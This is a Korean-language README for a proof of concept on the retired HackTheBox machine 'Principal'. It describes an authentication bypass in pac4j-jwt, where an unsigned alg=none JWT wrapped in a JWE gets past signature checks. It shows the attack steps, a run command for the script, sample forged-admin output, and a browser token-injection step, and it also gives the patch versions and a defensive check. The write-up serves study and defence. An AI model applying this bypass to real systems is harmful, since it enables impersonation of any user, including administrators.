
Proof-of-Concept(PoC)로, JWE(JSON Web Encryption)를 사용하는 pac4j-jwt 기반 애플리케이션에 영향을 미치는 인증 우회 취약점을 위한 것입니다.
| 필드 | 세부 정보 |
|---|
| 이름 | Principal |
| 플랫폼 | HackTheBox |
| 난이도 | — |
| 상태 | 은퇴(Retired) |
영향을 받는 라이브러리: pac4j-jwt < 4.5.9 / 5.7.9 / 6.3.3
심각도: 치명적(Critical)
유형: 인증 우회(Authentication Bypass)
JwtAuthenticator의 논리 결함으로 인해 공격자는 서명되지 않은 PlainJWT(alg=none)를
JWE(암호화된 JWT) 내부에 래핑하여 인증을 우회할 수 있습니다.
서버가 JWE를 복호화하면 내부 토큰을 SignedJWT로 파싱하려고 시도합니다.
내부 토큰이 PlainJWT이므로 SignedJWT 객체는 null이 되고 서명 검증은 완전히 건너뜁니다.
그런 다음 서버는 검증되지 않은 클레임에서 사용자 프로필을 생성합니다 — 이를 통해 관리자를 포함한
모든 사용자로 완전히 가장할 수 있습니다.
악성 클레임 생성 (sub=admin, role=ROLE_ADMIN)
↓
서명되지 않은 PlainJWT 생성 (alg=none)
↓
서버의 RSA 공개 키를 사용하여 PlainJWT를 JWE 내부에 래핑
↓
JWE 토큰을 서버에 제출
↓
서버가 JWE 복호화 → PlainJWT 발견 → 서명 검사 건너뜀 → 액세스 허용
exploit.py 참조
pac4j-jwt를 패치된 버전으로 업그레이드하십시오:
4.5.9 이상5.7.9 이상6.3.3 이상또는 JWE 복호화 후 PlainJWT 내부 토큰을 명시적으로 거부하십시오:
if (jwt instanceof PlainJWT) {
throw new CredentialsException("PlainJWT not allowed inside JWE");
}
/api/auth/jwks
alg: none공개 키를 사용하여 JWE 내부에 래핑
다음으로 전송:
Authorization: Bearer <token>
pip install jwcrypto requests
python3 poc.py \
--jwks-url http://target/api/auth/jwks \
--target http://target/api/dashboard
[+] Forged Token:
eyJhbGciOiJSU0EtT0FFUC0yNTYi...
[+] Browser Injection:
sessionStorage.setItem("auth_token", "eyJhbGciOiJSU0EtT0FFUC0yNTYi...")
[+] Status: 200
{"user":{"username":"admin","role":"ROLE_ADMIN"}}
DevTools → 콘솔 열기:
sessionStorage.setItem("auth_token", "<PASTE_TOKEN_HERE>")
그런 다음 다음으로 이동:
/dashboard
alg: none 토큰 거부